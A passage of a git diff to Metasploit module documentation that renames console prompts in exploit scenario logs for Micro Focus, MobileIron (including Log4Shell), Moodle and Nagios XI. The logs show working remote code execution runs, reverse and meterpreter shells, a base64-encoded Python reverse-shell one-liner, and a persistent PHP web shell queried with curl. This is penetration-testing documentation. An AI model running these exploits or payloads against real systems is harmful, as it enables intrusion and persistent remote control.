RHOSTS 12.0.0.25 +msf > use exploit/linux/http/microfocus_secure_messaging_gateway +msf exploit(linux/http/microfocus_secure_messaging_gateway) > set RHOSTS 12.0.0.25 RHOSTS => 12.0.0.25 -msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > set LHOST 12.0.0.1 +msf exploit(linux/http/microfocus_secure_messaging_gateway) > set LHOST 12.0.0.1 LHOST => 12.0.0.1 -msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > run +msf exploit(linux/http/microfocus_secure_messaging_gateway) > run [*] Started reverse TCP handler on 12.0.0.1:4444 [*] Creating an user with appropriate privileges diff --git a/documentation/modules/exploit/linux/http/mida_solutions_eframework_ajaxreq_rce.md b/documentation/modules/exploit/linux/http/mida_solutions_eframework_ajaxreq_rce.md index 33910a2a0781a..1f4d96ac495b5 100644 --- a/documentation/modules/exploit/linux/http/mida_solutions_eframework_ajaxreq_rce.md +++ b/documentation/modules/exploit/linux/http/mida_solutions_eframework_ajaxreq_rce.md @@ -35,15 +35,15 @@ Base path to eFramework (Default: `/`) ## Scenarios ``` -msf6 > use exploit/linux/http/mida_solutions_eframework_ajaxreq_rce +msf > use exploit/linux/http/mida_solutions_eframework_ajaxreq_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > set rhosts 172.16.191.123 +msf exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > set rhosts 172.16.191.123 rhosts => 172.16.191.123 -msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > check +msf exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > check [+] 172.16.191.123:443 - The target is vulnerable. -msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > set lhost 172.16.191.165 +msf exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > set lhost 172.16.191.165 lhost => 172.16.191.165 -msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > run +msf exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/mobileiron_core_log4shell.md b/documentation/modules/exploit/linux/http/mobileiron_core_log4shell.md index 27e7a11306291..199990725ab65 100644 --- a/documentation/modules/exploit/linux/http/mobileiron_core_log4shell.md +++ b/documentation/modules/exploit/linux/http/mobileiron_core_log4shell.md @@ -56,17 +56,17 @@ static DNS entry to my lab network's router. ### MobileIron Core 11.2.0.0-31 ``` -msf6 > use exploit/linux/http/mobileiron_core_log4shell +msf > use exploit/linux/http/mobileiron_core_log4shell [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248 +msf exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248 LHOST => 10.9.49.248 -msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248 +msf exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248 SRVHOST => 10.9.49.248 -msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389 +msf exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389 SRVPORT => 1389 -msf6 exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.100 +msf exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.100 RHOSTS => 10.9.49.100 -msf6 exploit(linux/http/mobileiron_core_log4shell) > run +msf exploit(linux/http/mobileiron_core_log4shell) > run [*] Started reverse TCP handler on 10.9.49.248:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -84,17 +84,17 @@ Linux hackercat.example.com 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:1 ### MobileIron Core 10.6.0.0-23 ``` -msf6 > use exploit/linux/http/mobileiron_core_log4shell +msf > use exploit/linux/http/mobileiron_core_log4shell [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248 +msf exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248 LHOST => 10.9.49.248 -msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248 +msf exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248 SRVHOST => 10.9.49.248 -msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389 +msf exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389 SRVPORT => 1389 -msf6 exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.101 +msf exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.101 RHOSTS => 10.9.49.101 -msf6 exploit(linux/http/mobileiron_core_log4shell) > run +msf exploit(linux/http/mobileiron_core_log4shell) > run [*] Started reverse TCP handler on 10.9.49.248:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/mobileiron_mdm_hessian_rce.md b/documentation/modules/exploit/linux/http/mobileiron_mdm_hessian_rce.md index 4858403548199..17b540059a01b 100644 --- a/documentation/modules/exploit/linux/http/mobileiron_mdm_hessian_rce.md +++ b/documentation/modules/exploit/linux/http/mobileiron_mdm_hessian_rce.md @@ -25,9 +25,9 @@ This uses a Linux dropper to execute code. ### MobileIron Core 10.6.0.0 ``` -msf6 > use exploit/linux/http/mobileiron_mdm_hessian_rce +msf > use exploit/linux/http/mobileiron_mdm_hessian_rce [*] Using configured payload cmd/unix/reverse_python_ssl -msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > options +msf exploit(linux/http/mobileiron_mdm_hessian_rce) > options Module options (exploit/linux/http/mobileiron_mdm_hessian_rce): @@ -60,11 +60,11 @@ Exploit target: 0 Unix Command -msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > set rhosts 192.168.123.123 +msf exploit(linux/http/mobileiron_mdm_hessian_rce) > set rhosts 192.168.123.123 rhosts => 192.168.123.123 -msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > set lhost 192.168.123.1 +msf exploit(linux/http/mobileiron_mdm_hessian_rce) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > run +msf exploit(linux/http/mobileiron_mdm_hessian_rce) > run [+] python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMTIzLjEnLDQ0NDQpKQpzPXNzbC53cmFwX3NvY2tldChzbykKc0Y9RmFsc2UKd2hpbGUgbm90IHNGOgoJZGF0YT1zLnJlY3YoMTAyNCkKCWlmIGxlbihkYXRhKT09MDoKCQlzRiA9IFRydWUKCXByb2M9c3VicHJvY2Vzcy5Qb3BlbihkYXRhLHNoZWxsPVRydWUsc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSxzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLHN0ZGluPXN1YnByb2Nlc3MuUElQRSkKCXN0ZG91dF92YWx1ZT1wcm9jLnN0ZG91dC5yZWFkKCkgKyBwcm9jLnN0ZGVyci5yZWFkKCkKCXMuc2VuZChzdGRvdXRfdmFsdWUpCg==')[0]))" [*] Started reverse SSL handler on 192.168.123.1:4444 @@ -80,9 +80,9 @@ uname -a Linux x.x.x 3.10.0-1062.4.1.el7.x86_64 #1 SMP Fri Oct 18 17:15:30 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux ^Z Background session 1? [y/N] y -msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > set target 1 +msf exploit(linux/http/mobileiron_mdm_hessian_rce) > set target 1 target => 1 -msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > run +msf exploit(linux/http/mobileiron_mdm_hessian_rce) > run [*] Started reverse TCP handler on 192.168.123.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/moodle_rce.md b/documentation/modules/exploit/linux/http/moodle_rce.md index 0f53153ebb095..8cca9a81ae92a 100644 --- a/documentation/modules/exploit/linux/http/moodle_rce.md +++ b/documentation/modules/exploit/linux/http/moodle_rce.md @@ -60,21 +60,21 @@ The course ID. Can be retrieved from the URL when the course is selected (e.g., Running the module against Moodle v4.4.1 should result in an output similar to the following: ``` -msf6 > use exploit/linux/http/moodle_rce +msf > use exploit/linux/http/moodle_rce [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/moodle_rce) > set USERNAME testuser +msf exploit(linux/http/moodle_rce) > set USERNAME testuser USERNAME => testuser -msf6 exploit(linux/http/moodle_rce) > set PASSWORD iusldbf843498fKJASD +msf exploit(linux/http/moodle_rce) > set PASSWORD iusldbf843498fKJASD PASSWORD => iusldbf843498fKJASD -msf6 exploit(linux/http/moodle_rce) > set CMID 2 +msf exploit(linux/http/moodle_rce) > set CMID 2 CMID => 2 -msf6 exploit(linux/http/moodle_rce) > set COURSEID 2 +msf exploit(linux/http/moodle_rce) > set COURSEID 2 COURSEID => 2 -msf6 exploit(linux/http/moodle_rce) > set RHOSTS 192.168.217.141 +msf exploit(linux/http/moodle_rce) > set RHOSTS 192.168.217.141 RHOSTS => 192.168.217.141 -msf6 exploit(linux/http/moodle_rce) > set LHOST 192.168.217.128 +msf exploit(linux/http/moodle_rce) > set LHOST 192.168.217.128 LHOST => 192.168.217.128 -msf6 auxiliary(exploit/linux/http/moodle_rce) > exploit +msf auxiliary(exploit/linux/http/moodle_rce) > exploit [*] Started reverse TCP handler on 192.168.217.128:4444 [*] Obtaining MoodleSession and logintoken... [+] Server reachable. @@ -86,7 +86,7 @@ msf6 auxiliary(exploit/linux/http/moodle_rce) > exploit [*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.141:37152) at 2024-09-01 18:19:44 -0400 [-] Exploit aborted due to failure: unreachable: Failed to receive a reply from the server. [*] Exploit completed, but no session was created. -msf6 exploit(linux/http/moodle_rce) > sessions -i 1 +msf exploit(linux/http/moodle_rce) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo diff --git a/documentation/modules/exploit/linux/http/nagios_xi_autodiscovery_webshell.md b/documentation/modules/exploit/linux/http/nagios_xi_autodiscovery_webshell.md index dfc15a370ebec..89ea7795ecc0c 100644 --- a/documentation/modules/exploit/linux/http/nagios_xi_autodiscovery_webshell.md +++ b/documentation/modules/exploit/linux/http/nagios_xi_autodiscovery_webshell.md @@ -70,12 +70,12 @@ A user may want to leave behind a web shell for persistence reasons. The default ### Nagios XI 5.8.4 - Get a Meterpreter Session ``` -msf6 > use auxiliary/scanner/http/nagios_xi_scanner -msf6 auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6 +msf > use auxiliary/scanner/http/nagios_xi_scanner +msf auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6 RHOST => 10.0.0.6 -msf6 auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1 +msf auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1 PASSWORD => labpass1 -msf6 auxiliary(scanner/http/nagios_xi_scanner) > run +msf auxiliary(scanner/http/nagios_xi_scanner) > run [*] Attempting to authenticate to Nagios XI... [+] Successfully authenticated to Nagios XI @@ -86,15 +86,15 @@ msf6 auxiliary(scanner/http/nagios_xi_scanner) > run [*] [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell +msf auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3 +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3 LHOST => 10.0.0.3 -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6 +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6 RHOST => 10.0.0.6 -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1 +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1 PASSWORD => labpass1 -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > run [*] Started reverse TCP handler on 10.0.0.3:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -125,12 +125,12 @@ pwd ### Nagios XI 5.8.4 - Get a reverse shell ``` -msf6 > use auxiliary/scanner/http/nagios_xi_scanner -msf6 auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6 +msf > use auxiliary/scanner/http/nagios_xi_scanner +msf auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6 RHOST => 10.0.0.6 -msf6 auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1 +msf auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1 PASSWORD => labpass1 -msf6 auxiliary(scanner/http/nagios_xi_scanner) > run +msf auxiliary(scanner/http/nagios_xi_scanner) > run [*] Attempting to authenticate to Nagios XI... [+] Successfully authenticated to Nagios XI @@ -141,17 +141,17 @@ msf6 auxiliary(scanner/http/nagios_xi_scanner) > run [*] [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell +msf auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set target 0 +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set target 0 target => 0 -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6 +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6 RHOST => 10.0.0.6 -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3 +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3 LHOST => 10.0.0.3 -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1 +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1 PASSWORD => labpass1 -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > run [*] Started reverse double SSL handler on 10.0.0.3:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -187,19 +187,19 @@ pwd ### Nagios XI 5.8.4 - Leave a web shell behind ``` -msf6 > use exploit/linux/http/nagios_xi_autodiscovery_webshell +msf > use exploit/linux/http/nagios_xi_autodiscovery_webshell [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6 +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6 RHOST => 10.0.0.6 -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3 +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3 LHOST => 10.0.0.3 -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1 +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1 PASSWORD => labpass1 -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set DELETE_WEBSHELL false +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set DELETE_WEBSHELL false DELETE_WEBSHELL => false -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set WEBSHELL_NAME lobster.php +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set WEBSHELL_NAME lobster.php WEBSHELL_NAME => lobster.php -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > run [*] Started reverse TCP handler on 10.0.0.3:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -219,7 +219,7 @@ meterpreter > quit [*] Shutting down Meterpreter... [*] 10.0.0.6 - Meterpreter session 1 closed. Reason: User exit -msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > exit +msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > exit albinolobster@ubuntu:~/metasploit-framework$ curl --insecure https://10.0.0.6/nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php?cmd=id 0 9 * * * rm -f '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml'; touch '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch'; sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses='127.0.0.1/0' --exclude='' --output='../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml' --watch='/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch' --onlynew=0 --debug=1 --detectos=1 --detecttopo=1 --customports='uid=33(www-data) gid=33(www-data) groups=33(www-data),135(Debian-snmp),1001(nagios),1002(nagcmd) ' > '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.out' 2>&1 & echo $! > /dev/null 2>&1 diff --git a/documentation/modules/exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo.md b/documentation/modules/exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo.md index 894e3a2ce1656..2c8fdf524a4bd 100644 --- a/documentation/modules/exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo.md +++ b/documentation/modules/exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo.md @@ -26,10 +26,10 @@ ### Nagios 5.2.7 on CentOS 6.7 ``` -msf5 > use exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo -msf5 exploit(linux/http/nagios_xi_chained_rce_2_electric_boogaloo) > set rhost 172.22.222.182 +msf > use exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo +msf exploit(linux/http/nagios_xi_chained_rce_2_electric_boogaloo) > set rhost 172.22.222.182 rhost => 172.22.222.182 -msf5 exploit(linux/http/nagios_xi_chained_rce_2_electric_boogaloo) > run +msf exploit(linux/http/nagios_xi_chained_rce_2_electric_boogaloo) > run [*] Started reverse TCP handler on 172.22.222.177:4444 [*] Command Stager progress - 100.00% done (705/705 bytes) diff --git a/documentation/modules/exploit/linux/http/nagios_xi_configwizards_authenticated_rce.md b/documentation/modules/exploit/linux/http/nagios_xi_configwizards_authenticated_rce.md index b99d725644bf8..d9bcbe58915b6 100644 --- a/documentation/modules/exploit/linux/http/nagios_xi_configwizards_authenticated_rce.md +++ b/documentation/modules/exploit/linux/http/nagios_xi_configwizards_authenticated_rce.md @@ -90,27 +90,27 @@ potentially other values that could be used here. ### CentOS7 Running NagiosXI 5.7.5 (Official OVA) - CVE-2021-25296 ``` -msf6 > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce +msf > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce [*] Using configured payload cmd/unix/reverse_perl_ssl -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOST 192.168.153.132 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOST 192.168.153.132 RHOST => 192.168.153.132 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.153.128 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.153.128 LHOST => 192.168.153.128 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set FINISH_INSTALL true +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set FINISH_INSTALL true FINISH_INSTALL => true -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set USERNAME nagiosadmin +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set USERNAME nagiosadmin USERNAME => nagiosadmin -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set PASSWORD nagiosadmin +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set PASSWORD nagiosadmin PASSWORD => nagiosadmin -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOST 192.168.153.132 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOST 192.168.153.132 RHOST => 192.168.153.132 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.153.128 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.153.128 LHOST => 192.168.153.128 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set FIN +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set FIN set FINGERPRINTCHECK set FINISH_INSTALL -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set FINISH_INSTALL true +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set FINISH_INSTALL true FINISH_INSTALL => true -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_configwizards_authenticated_rce): @@ -158,7 +158,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit [*] Started reverse SSL handler on 192.168.153.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -186,17 +186,17 @@ Linux localhost.localdomain 3.10.0-1160.2.2.el7.x86_64 #1 SMP Tue Oct 20 16:53:0 ### CentOS7 Running NagiosXI 5.7.5 (Official OVA) - CVE-2021-25297 ``` -msf6 > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce +msf > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce [*] Using configured payload cmd/unix/reverse_perl_ssl -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOST 192.168.153.132 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOST 192.168.153.132 RHOST => 192.168.153.132 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.153.128 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.153.128 LHOST => 192.168.153.128 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set USERNAME nagiosadmin +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set USERNAME nagiosadmin USERNAME => nagiosadmin -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set PASSWORD nagiosadmin +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set PASSWORD nagiosadmin PASSWORD => nagiosadmin -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_configwizards_authenticated_rce): @@ -244,9 +244,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set TARGET_CVE CVE-2021-25297 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set TARGET_CVE CVE-2021-25297 TARGET_CVE => CVE-2021-25297 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit [*] Started reverse SSL handler on 192.168.153.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -267,21 +267,21 @@ Linux localhost.localdomain 3.10.0-1160.2.2.el7.x86_64 #1 SMP Tue Oct 20 16:53:0 ### CentOS7 Running NagiosXI 5.7.5 (Official OVA) - CVE-2021-25298 ``` -msf6 > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce +msf > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce [*] Using configured payload cmd/unix/reverse_perl_ssl -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set USERNAME nagiosadmin +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set USERNAME nagiosadmin USERNAME => nagiosadmin -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set PASSWORD nagiosadmin +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set PASSWORD nagiosadmin PASSWORD => nagiosadmin -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set TARGET_CVE CVE-2021-25298 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set TARGET_CVE CVE-2021-25298 TARGET_CVE => CVE-2021-25298 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.153.128 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.153.128 LHOST => 192.168.153.128 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOST 192.168.153.132 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOST 192.168.153.132 RHOST => 192.168.153.132 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set TARGET Linux\ (x64) +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set TARGET Linux\ (x64) TARGET => Linux (x64) -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_configwizards_authenticated_rce): @@ -329,11 +329,11 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LPORT 9912 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LPORT 9912 LPORT => 9912 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set FINISH_INSTALL true +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set FINISH_INSTALL true FINISH_INSTALL => true -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit [*] Started reverse TCP handler on 192.168.153.128:9912 [*] Running automatic check ("set AutoCheck false" to disable) @@ -372,24 +372,24 @@ meterpreter > ### CentOS7 Running NagiosXI 5.5.6 (Official OVA) - CVE-2021-25297 ``` -msf6 > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce +msf > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce [*] Using configured payload cmd/unix/reverse_perl_ssl -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOSTS 192.168.104.18 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOSTS 192.168.104.18 RHOSTS => 192.168.104.18 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RPORT 443 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RPORT 443 RPORT => 443 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set SSL true +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set PASSWORD nagiosadmin +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set PASSWORD nagiosadmin PASSWORD => nagiosadmin -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set TARGET_CVE CVE-2021-25297 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set TARGET_CVE CVE-2021-25297 TARGET_CVE => CVE-2021-25297 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.104.2 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.104.2 LHOST => 192.168.104.2 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LPORT 8443 +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LPORT 8443 LPORT => 8443 -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_configwizards_authenticated_rce): @@ -432,7 +432,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit +msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit [*] Started reverse SSL handler on 192.168.104.2:8443 [*] Running automatic check ("set AutoCheck false" to disable) diff --git 